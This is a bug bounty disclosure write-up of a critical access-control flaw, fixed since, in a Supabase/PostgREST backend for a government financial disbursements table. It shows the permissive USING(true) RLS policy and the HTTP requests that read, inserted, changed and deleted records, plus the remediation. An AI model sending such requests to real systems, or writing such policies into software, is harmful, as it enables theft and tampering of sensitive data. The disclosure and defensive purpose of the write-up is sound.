YesWeHack reward card — Critical 9.8, Improper Access Control CWE-284
YesWeHack reward card — Critical 9.8

Summary

Class
CWE-284 — Improper Access Control
CVSS
9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Endpoint
/rest/v1/versements (PostgREST API)
Vector
Overly permissive RLS policy — USING(true) for authenticated role
Impact
Full CRUD on 20,517 financial disbursement records
Status
Fixed

Discovery

The target application used Supabase as its backend — PostgreSQL exposed over HTTP via the PostgREST API. The frontend made requests to a Supabase instance, sending the public apikey in the headers alongside the user's Authorization: Bearer session token.

After self-registering an account (open signup via magic link), I examined the API traffic and identified the PostgREST endpoint pattern at /rest/v1/{table_name}. I tested direct access to a table called versements (financial disbursements) — a table my low-privilege account had no business touching.

GET /rest/v1/versements?select=*&limit=20 HTTP/2
Host: supabase.[REDACTED].gouv.fr
apikey: eyJhbGciOiJIUzI1NiIs...[public key]
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...[session token]

The server returned 200 OK with Content-Range: 0-19/* — real financial data. The * indicated the total was unknown until I paginated, but the records were clearly live: amounts, years, categories, procedure references, and organisational identifiers.

Root Cause

The PostgreSQL Row-Level Security (RLS) policy on the versements table was defined as:

CREATE POLICY "allow_authenticated"
  ON versements
  FOR ALL
  TO authenticated
  USING (true);

USING(true) is the most permissive RLS policy possible — it returns true for every row, regardless of who is querying. Any user with the authenticated role (i.e., anyone who signed up) had full access to every record.

Exploitation

I confirmed full CRUD capability on the table:

Read — retrieved all 20,517 records:

GET /rest/v1/versements?select=*&limit=20
→ 200, Content-Range: 0-19/*, real financial data returned

Create — inserted a test record with a clearly marked safe-to-delete comment:

POST /rest/v1/versements
Content-Type: application/json

{
  "amount": 300000,
  "year": "2026",
  "category": "1",
  "comment": "SECURITY TEST - safe to delete",
  "procedure_id": [REDACTED]
}
→ 201 Created

Update — modified the test record's amount field:

PATCH /rest/v1/versements?id=eq.[test_id]
→ 200 OK

Delete — removed the test record:

DELETE /rest/v1/versements?id=eq.[test_id]
→ 200 OK

Impact

  • Confidentiality — any throwaway account could read all 20,517 financial records including disbursement amounts, categories, and government procedure references
  • Integrity — records could be forged, modified, or falsified — a test record of €300,000 was successfully inserted
  • Availability — the entire table could be wiped with a single DELETE request with no filter

Remediation

The security team confirmed the issue and initiated a broader Supabase configuration audit, which revealed similar USING(true) policies on other tables. The fixes included:

  • Replacing USING(true) with policies scoped to the user's organisation membership (e.g., USING(org_id = auth.jwt() ->> 'org_id'))
  • Auditing all tables for overly permissive RLS grants
  • Adding regression tests asserting a basic authenticated user cannot read or write another organisation's data

Takeaways

Supabase exposes PostgreSQL over HTTP through PostgREST. The apikey is public by design — the only access boundary is the RLS policy. If you encounter a Supabase-backed application, always test the PostgREST API directly at /rest/v1/{table}. The frontend may only query a subset of what the backend permits. A USING(true) policy on a sensitive table effectively disables access control — the table is world-readable and world-writable to anyone with a session token.